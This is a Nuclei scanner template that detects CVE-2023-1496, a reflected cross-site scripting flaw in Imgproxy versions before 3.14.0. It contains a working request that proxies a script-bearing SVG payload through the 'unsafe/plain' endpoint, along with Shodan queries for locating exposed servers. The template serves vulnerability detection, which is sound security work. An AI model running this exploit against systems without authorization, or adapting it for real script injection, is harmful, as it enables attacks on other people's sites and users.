Imgproxy < 3.14.0 - Cross-site Scripting (XSS)

id: CVE-2023-1496

info:
  name: Imgproxy < 3.14.0 - Cross-site Scripting (XSS)
  author: pdteam
  severity: medium
  description: Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to Imgproxy version 3.14.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/imgproxy/imgproxy/commit/62f8d08a93d301285dcd1dabcc7ba10c6c65b689
    - https://huntr.dev/bounties/de603972-935a-401a-96fb-17ddadd282b2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-1496
    cwe-id: CWE-79
    epss-score: 0.01585
    epss-percentile: 0.72616
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,huntr,imgproxy,xss,svg,evilmartians,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/unsafe/plain/https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain);"
          - "<?xml version"
          - '<script type="text/javascript">'
        condition: and

      - type: word
        part: header
        words:
          - "Content-Security-Policy: default-src 'none';"
        negative: true

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a53ade44b9dcc5b60ed199c9b64435eee69286329a2ccef606c40f3ba7dc3b23022100ee9876f323904d9cdacd536d8885035f29b80d0fdf1aea7e9023a3a44c41d47f:922c64590222798bb761d5b6d8e72950